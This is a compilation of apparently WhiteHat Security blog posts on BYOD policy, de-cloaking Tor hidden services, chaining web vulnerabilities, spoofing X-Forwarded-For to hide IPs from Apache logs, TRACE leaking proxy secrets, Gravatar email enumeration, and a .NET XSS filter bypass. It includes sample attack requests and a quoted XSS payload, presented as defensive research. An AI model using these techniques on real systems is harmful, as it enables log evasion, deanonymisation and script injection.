BYOD is a big topic for companies, particularly when it comes to how to properly implement policy around personal devices used for work purposes. It’s a question that we are asked often by employees and by our customers, so I thought I would take a moment to share a little about our approach to BYOD.

By nature, the work we do at WhiteHat Security involves work with some of our customers most sensitive data and critical assets. We don’t take this lightly. So, we deal with BYOD perhaps a little differently then most companies. Getting access to sensitive customer data is only performed via WhiteHat Security supported hardware and job function. So in a sense, we do not provide outright support for BYOD. If employees or guests do bring their own devices to our offices, they can only access our public wifi, and no WhiteHat Security data or customer data is accessible on that network. We segment our data pretty aggressively to prevent data leakage. Employees that require access to certain mobile devices – smart phones or laptops, for instance - WhiteHat Security will pay for the device and the IT department will configure it for access, but access is limited to email and not customer data.

Someone recently asked me if I knew how to find where Tor-hidden services were really hosted. I identified a few possible methods for finding the origin servers, but none of them worked universally – or even in most situations. Eventually, I did find one way to definitively locate an origin server. However, that method is not trivial – and is still just theoretical.

First, I found the following entry on Tor’s webpage: “If your computer isn’t online all the time, your hidden service won’t be either. This leaks information to an observant adversary.” The following idea then came to mind: Let’s say you have a small army of bots (probably a dozen or so are necessary for the sake of redundancy; basically, the more bots you use, the better) connected to Tor. You’d then need to feed something – like the Internet Health Report – into a central database that the de-cloaking bots can monitor.

Because the Internet can be flaky and regularly has minor outages – sometimes related to routing, and sometimes related to a simple lack of power ­ it’s easy (if you have time) to determine if an outage is the cause of a problem, even on robust cloud infrastructures. Furthermore, some companies (e.g., Keynote) already specialize in tracking outages for you.

De-Cloaking

De-cloaking begins with a few of your robots doing regular polling to make sure your service remains online. This polling is essential for performing tests. When you do discover an outage on the Internet, you should immediately have your robots ­ from Tor nodes around the world ­ attempt to contact the server in question. If just a few of the bots are blocked, it’s likely that they are either just transiting the “broken” network or that the bot is itself on this “broken” network.

Detecting a broken link that doesn’t give away the origin (click to enlarge).

However, if none of your bots can reach the service in question, there’s a good chance that you’ve found the part of the Internet that’s currently broken. One caveat is that if all of the Introducer nodes lie beyond the path of the disruption it may give a false positive, but this is unlikely unless the outage is extremely close to where the polling robots are, or the outage is extremely large. So false positives are a real possibility, although not enough of a deterrent to make this attack un-viable.

Detecting an outage that does give away the origin (click to enlarge).

This same “contact the server in question” technique can reveal other additional granular/smaller breakages by monitoring for outages within a specific network, then monitoring down to the data center, and possibly even down to the subnet. At the subnet level you’re monitoring a small enough set of machines that one could ­ at least theoretically ­ cause selective minor outages (even a few seconds could do the trick) by using a wide variety of denial-of-service attacks to find the one machine that, when attacked, also makes your bots unable to access the site at exactly the same time the site you are monitoring becomes unresponsive.

Alternatively, if the IP range is small enough, a government agency could simply watch the wire for Tor traffic. That method, however, is painstaking and requires physical interception, and may require a lot of traffic analysis. However, this method could work.
Theoretically, you also could speed up the de-cloaking by looking at the date stamp in the HTTP response of the hidden service. If that service is listening on port 80, you could simply check the dates and then ignore the ones that fail to match the correct time zone/clock skew. Then, unless the problem is deliberate tampering, you’d almost certainly ­ and much more quickly ­ know what’s causing the outages. That is, unless the hidden services are within a VM that fails to use NTP (network time protocol), while the parent does use NTP, or unless both dates were set by hand.

Overall, using a time-stamp to improve de-cloaking is risky, because it could also be a ‘red herring’ – a tricky method used by a hidden Tor service administrator to hide the service further. A similar technique has been discussed before using clock skews of each Tor node and validating that it matches the Tor hidden service to find the origin server. But using clock skews or time-stamps assumes that the hidden service is not within a VM on the host machine, which is a real possibility; therefore, this may not always work.

The concept of a Tor hidden service using multiple machines with the same Tor private key to create a “load balancing” effect to thwart this de-cloaking attack has two issues. The first is that apparently in practice the failover effect can take hours, not seconds. The second is that depending on how the data is mirrored between the two hidden services, it may be extremely easy to tell which server you are communicating with. If something like rsync is used in favor of NFS to mirror content, the inodes on disc and timestamps will be different, leading to different eTag fingerprints and different Last-Modified time stamps, which can be discerned simply by looking at the HTTP headers.

Admittedly, what I’m describing here is just a theoretical attack. A large part of this attack is simply passive recon tied in with some generic polling techniques. However, that is a minor barrier for determined adversaries. This is an attack method that could make it significantly more difficult to perfectly hide a Tor-hidden service from a sophisticated adversary using today’s technology without significant forethought or planning.

Therefore, it is probably unwise ­ without taking additional precautions ­ to run a Tor-hidden service that relies entirely on IP anonymity for safety.

A huge thanks to Tom Ritter, Runa Sandvik, Tim Tomes and Robert Graham for letting me bounce these thoughts off of them.

In any given application, vulnerabilities can range from a minor case of Information Leakage to major Insufficient Authorization/Authentication, and anywhere in between.  With such a wide range of vulnerabilities it is easy to see how, say, an issue with Insufficient Anti-Automation can be minor.  However, a malicious attacker will more than likely focus on multiple vulnerabilities; this tactic can exploit seemingly minor vulnerabilities and result in a much more dangerous exploit than the sum of its parts.

A Perfect Example

I recently tested an application and almost immediately discovered an Insufficient Anti-Automation vulnerability.  A profile creation page had a CAPTCHA in place to prevent automated creation of accounts, but I found that the CAPTCHA could be bypassed by repeating the same parameters in the POST request.  We’ll say these were named “CAPTCHA_value” and “CAPTCHA_text.”  This vulnerability is normally rated at a Threat/Severity of Critical/Medium; most would consider this a “minor” vulnerability, especially compared to something like SQL Injection or Insufficient Authentication.

Later, testing the same application, I discovered a place I could land reflective Cross Site Scripting; it was in an obscure, hard-to-reach error page, but it was there.  This is a more severe vulnerability than the Insufficient Anti-Automation vulnerability I previously mentioned, but being reflective it was a less-than-stellar find, somewhat difficult to exploit.

Finally, after several hours of testing, I discovered a way to view, and indeed modify, another user’s profile information.  This is a major find, very dangerous in the hands of a malicious attacker, and it was not difficult to exploit.  This major find could be used to plant the aforementioned Cross Site Scripting vulnerability into a user’s profile; suddenly the vulnerability seemed much more potent.   After a little more testing, I determined that it would actually be possible to iterate through user accounts and, utilizing the previous Insufficient Anti-Automation vulnerability, alter their profile information to include a link to the Cross Site Scripting vulnerability.

This chain of vulnerabilities quickly led to an exploit that could potentially destroy the entire business model of this application: imagine finding out that every single user had been attacked simultaneously, at minimum compromising users’ sensitive data, and potentially removing said data or even compromising their accounts through Cross Site Scripting.  Thus, it is clear that apparently “minor” vulnerabilities can be used in combination with more “dangerous” finds to create a truly devastating attack that could compromise an entire application.  Remember, many instances of Insufficient Anti-Automation are considered minor; nevertheless, by exploiting this particular example the entire application could be compromised.

This is exactly the sort of vulnerability that can only be found through manual assessments; an application or source scanner might have found any of these individually, but could never use the human reasoning required to link the three of them together to form an exploit that is far greater than the sum of its parts. Human beings can assess and assign risk accurately: whether an exploit (such as insufficient anti-automation) is apparently “low risk” or not, the actual risk will vary based on information a human reviewer can bring to this process much more reliably than any automated system.

Occasionally I used to get asked to look at web application architecture for companies. Companies that grow above a certain size or threat level often move to using inline caching proxies, inline cloud based WAF solutions (e.g. CloudFlare or Incapsula), or both. For a long time I’ve had a hard time explaining why this could be a problem but I finally ran into a confluence of problems that demonstrate why this is an issue. Let’s start with the major problem.

X-Forwarded-For

When you have a website that needs to use IP addresses, you’ll run into strange situations if you run an inline proxy. The most important issue is that the IP address of the machine connecting to your web server is always that of the upstream proxy/ies and not that of the person connecting. The user connects to the proxy and the proxy connects to your website; therefore, your website always sees the same IP address. IP addresses are used for all kinds of security measures. They’re used for seeding secret strings in cookies in PHP. They’re used for doing flood detection. They’re used for brute force detection and lockouts. IPs are used all the time. But what happens when all the IPs look the same?

To get around that, proxies have invented something called the X-Forwarded-For header, which can look like a lot of random things. It can look like any of the following:

X-Forwarded-For: 192.168.0.5
X-Forwarded-For: 192.168.1.2, 123.123.123.123
X-Forwarded-For: 1.3.3.7
X-Forwarded-For: localhost, 123.123.123.123

Because it’s an optional header it contains random things. Sometimes those things are real IP addresses (sometime internal RFC1918 address space and sometimes public) and sometimes it just contains garbage. Either way, most proxies have decided that the X-Forwarded-For header is the best header to use to tack on their information. So they tack the IP address of the user who is connecting to them onto the end of the string that they receive (or create a new string if there isn’t one already) and pass that to the web-server.

The web-server then has to be smart enough to take that information and parse apart the string to grab the last IP address and intelligently replace the IP address of the proxy with the IP address listed in the X-Forwarded-For header. Inline devices that sit behind the proxy have to be just as smart. This leads to all kinds of weird scenarios where an attacker can spoof IP addresses by sending X-Headers after having breached the network, but that is less likely.

rpaf

To accomplish this goal of looking at the X-Forwarded-For header, many people turn to rpaf, which performs this task very easily. The problem is that if rpaf doesn’t see the header it doesn’t know what IP address to use, and it will instead default to nothing. So how do we get the inline proxy to send something that rpaf won’t understand? Simple: we use a null byte (here shown as %00 below so you can visualize it, but normally it is not URL encoded):

GET / HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101
Firefox/19.0
X-Forwarded-For%00: whatever

This will create a 400 error, because Apache doesn’t understand the request. However, the most important thing is what it looks like in the logs. Notice that in the first log file there is an IP address, and in the second there’s no IP address:

Mar 17 20:05:46 123.123.123.123 – - [17/Mar/2013:20:05:46 +0000] “GET / HTTP/1.1″ 200 15 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0″

Mar 17 20:06:10 – - – [17/Mar/2013:20:06:10 +0000] “GET / HTTP/1.1″ 400 56 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0″

An attacker’s mileage my vary depending on how the proxy treats the header with a null byte in it. Still the proxy may do its own logging, which may render this attack useless. The most dangerous variant would be if an attacker can simply bypass the cloud based WAF solution and go directly to the origin server. By bypassing the WAF the attacker doesn’t have to worry about how the proxy handles the null byte or any extra logging it may perform.

400 errors

Why would an attacker intentionally want to send a request that creates a 400 error? There are lots of potential reasons. A few of the fine folks on Twitter suggested the following:

• Fingerprinting the operating system
• Filling up the logs
• Using the user-agent to seed the system logs with a remote file include
• Using the user-agent to seed the system to create XSS attacks in log parsers
• Distraction from another attack

There may be many additional reasons that a request that creates a 400 error may be useful, but the point is that as a result there’s no IP address associated with the request in the logs in Apache.

Obfuscation

Sometimes proxies may communicate very sensitive information to the server, so that the server knows that it’s talking to the right thing. These secrets can be just about anything. Let’s say for instance that knowing that secret would allow you to contact the server directly and it would believe you are the proxy. Then let’s say the proxy and the web server decide to use another X header instead of X-Forwarded-For to obfuscate it so that an attacker may not know what the real header is – then the attacker will be unable to spoof another IP address.

Here is where TRACE comes back to haunt us. The HTTP method TRACE comes back once every few years to cause problems, and for some reason it’s still enabled by default more times than not. With TRACE an attacker can see what they sent to the server. But because they are not connecting directly to the server but instead to the proxy, what the attacker really sees is what the proxy is sending to the web server. Here’s what it might look like:

TRACE / HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101
Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Date: Sat, 16 Mar 2013 22:05:22 GMT
Server: Apache
Content-Type: message/http
X-Secret-info: lkjfalkjsfoij2oif4oijalskdfjsecretstringgoeshere12342134
Obfuscated-Client-Ip: 123.123.123.123
Content-Length: 348

So relatively easily the attacker now knows the secret and the obfuscated header that the web server is using as a replacement for IP addresses. Assuming the web server allows inbound connections from the Internet and the real IP address of the web-server can be found out, the attacker can now communicate to the web-server as if they were another IP address. This is not an ideal scenario. So at an absolute minimum, disabling TRACE is a really important and easy step to take. But doing forensic logging which doesn’t rely on rpaf or other tricks to figure out IP address from alternate HTTP headers is also a good idea.

Special thanks to @gmanfunky @dan_crowley @ivanristic @dallendoug @cgkades @desi_juggaad and @therealsaumil for the help with uses for 400 errors!

A friend recently reminded me about a hackers’ trick − based on using Gravatar − that I’d long forgotten about. The method was last discussed  on Stack Overflow a couple of years ago. Lately, people have been thinking again about this problem. And although the discussion has mostly been about how to brute force email addresses from a known Gravatar URL, there is a way to perform much more efficient and larger-scale brute force attacks with Gravatar.

The problem

This issue stems from four main factors:

1. Gravatar uses the MD5 hash of a user’s email address to display the Gravatar image
2. Gravatar allows website authors to display no image at all if they’d rather not
3. Because of a minor issue in the browser’s origin policy, there is a way for an attacker to calculate an image size remotely
4. Companies, and people, often use email addresses closely related to their actual name

The attack

By combining these four factors, I created a small script to demonstrate that an attacker can embed in their webpage. By supplying the first name, the last name (and, optionally, a middle initial), and the domain name, you can write a small piece of JavaScript that performs the cracking in the user’s own browser.

So imagine this: In the simplest − and mostly impractical − example, an attacker gets people to visit a site, and then enters their first and last name, a well as their company’s name (let’s say “Safeway”). A malicious website then programmatically adds “.com” to the end of the string. Assuming, at least in most cases, that the “.com” successfully produces the correct domain name (in this case, “Safeway.com”), the browser then concatenates the first name, last name, and domain name in various ways. The browser also tries Gmail, Outlook, Hotmail, and AOL, as these are the most common webmail providers.

Once a user’s browser visits the malicious website, the JavaScript forces the browser to pull in images from Gravatar. If an image is invalid, the size of the image in the browser will be less than one pixel in either dimension. However, if the image does exist, its size in the browser will be greater than zero, which confirms for the attacker that the email address is valid. A semi-benign example of this attack could be used during the registration process of a website, in order to speed up the collection of email addresses, and/or by providing a drop-down menu of probable email addresses.

The risks

This simple brute force method can then lead to far more efficient and practical attacks that produce massive amounts of email addresses of the target domain. For instance, let’s say an attacker gathers a dictionary containing thousands of common first names, last names, and the target domain name(s) in question (or the top Alexa 1000 domains, if this is an untargeted campaign). Instead of spamming chosen email addresses arbitrarily, an attacker can run the same JavaScript he’s already written (either on his own or by someone else on his behalf) to collect massive numbers of valid email addresses.

And if the attacker can have a random browser on the Internet do this recon on his behalf, this brute-force attack is performed without sending a single request to Gravatar. This technique also works successfully without requiring a massive spam campaign to identify valid user accounts.

I’ve created an embeddable example here which demonstrates this enumeration.

Once discovered, this is not an easy problem to fix, because so many people and sites use Gravatar, and it would require a forklift upgrade of their code to use something more secure than a simple MD5 hash. Therefore, it is probable that this issue will continue to exist for a long time – certainly as long as Gravatar exists and provides the features it currently offers. The result is the possibility of large-scale, spear-phishing campaigns against large corporations. Therefore, WhiteHat’s Threat Research Center recommends that corporate Internet users limit their employees from using Gravatar tied to their corporate email addresses when conducting company-specific business.

WhiteHat Sentinel has assessed well over 12,000 websites for vulnerabilities across 500 companies. For context, getting to our first 1,000 websites took four years. Today, we’re onboarding at least 1,000 per month.

The infrastructure’s concurrent scan average is roughly 2,100 with peaks reaching 3,374. Currently, these vulnerability scans generate 256 million HTTP requests per month. This traffic crosses over redundant 1GB Internet connections and has uncovered nearly 100,000 separate website vulnerabilities between 2006 and 2012. Collectively we index billions of URLs annually. Think Googlebot, but logged-in. To top it off, we log each and every HTTP request / response combo, with full headers, for every scan, on every website.

As you can see, mass scanning websites for vulnerabilities is highly disk intensive. That’s why Sentinel’s infrastructure has 220TB worth of clustered storage arrays, plus an additional 32TB in Virtual shared storage. This storage space is split up among 12 master databases and 12 standby databases (one for each master database for full tolerance), and each consumes about 20GB per week. 2TB of new data is being written to the NFS cluster every week.

We also have heavy server requirements. While we recommend Sentinel customers scan their websites continuously to minimize coverage gaps, current schedules are weighted towards commencing Thursday and Friday, extending over the weekend, and pause/complete by the Monday e-commerce rush. This of course is local time for the customer, and we do provide services for the entire planet! Monday morning is typically when customers analyze their most recent Sentinel vulnerability findings, integrate our results into their bug tracking system, and generate customized reports for the week’s meetings.

For efficiency, Sentinel’s infrastructure must be smart of enough to automatically provision Scan Servers and Reporting Servers. To accomplish this we leverage virtualization on top of several clusters of blade chassis, which allow us to control resource allocation between multiple scanning instances and load balanced front-end & back-end reporting Web servers. As new scans kickoff, as defined by their schedule, Scan Servers dynamically appear to handle the load. We’ve had as many as 64 Scan Servers running at once. As scans taper off, unnecessary Scan Servers vanish, freeing up their CPU / memory resources for the Reporting Servers. When we need additional server capacity, we add additional blades or an entire new blade chassis.

Next we could describe all the various networking gear, routers, switches, and firewalls, which bind everything together. The reality is we’re not comfortable sharing out that information publicly. What we can say is the entirety of the system passed a BITS/ISO27002 Shared Assessment compliance audit. Beyond that, you’ll need to sign a non-disclosure agreement.

Its safe to say the Sentinel infrastructure is rather sophisticated and contains a lot of moving parts. All told, our IT team monitors 162 hosts and over 1,300 services in production. They keep a close eye on utilization of network, CPU, memory, uptime, latency, etc. ensuring everything runs smoothly 24 hours of the day, 7 days a week, 365 days a year.  With rare exception, Sentinel’s entire infrastructure is redundant. Pull any network cable, push any power button, and the system keeps hacking away — so to speak.

All of this heavy metal is connected together via dual 10GB backplane ethernet and housed in 5 fully utilized 42U racks (expanding into racks 6 and 7 shortly). Since the data we’re responsible for is highly sensitive, to the say the least, the racks are physically located in SSAE16 SOC 1, and soon to be FedRamp certified, state-of-the-art colocation facility. At the Colo, security guards are always onsite. Then there are digital video recorders, false entrances, vehicle blockades, bulletproof glass/walls, unmarked buildings, and person-traps authenticating only one person at a time. Access to our cage requires an appointment, government issued ID, biometric scan, and only then do they hand over the key.

Building the Sentinel infrastructure has taken us years, millions and millions of dollars, countless all nighters and precious hair follicles. It is something we’re extremely proud of and confident in. Nothing else like it, or even close to it, exists. And it’s always getting better, always being improved upon. When your mission is scanning every website on the Internet for vulnerabilities, making them measurably more secure, such a physical infrastructure is just one of the things you need. When we say “scalable,” this is what we mean.

There are a million variations of Cross-Site Scripting (XSS), some more interesting than others. Back in August 2012 a post entitled, “.Net Cross Site Scripting – Request Validation Bypassing,” from Quotium caught our eye. The filter-bypass technique they described looked extremely trivial, only a single % character was necessary, but it worked all the same.

“This is caused by the fact that although ‹tag› is restricted by the Request Validation filter, ‹%tag› is not restricted but parsed by Internet Explorer browsers as a valid tag.

http://www.vulnerablesite.com/login.aspx?param=‹%tag style=”xss:expression(alert(123))” ›

The other notable point was that for some reason, which may be entirely reasonable, Microsoft opted to NOT address the issue. .Net developers are advised that they must provide adequate defense on their own.

At WhiteHat Security, a big part of our job is helping them do exactly that. Our research team added checks to WhiteHat Sentinel to identify this XSS variant. In the months since, we scanned 10,000+ websites and waited to see if anything turned up. So far, we’ve identified exactly 20 websites that are vulnerable to this specific issue. Not a huge number in terms of percentage of websites, but there it is.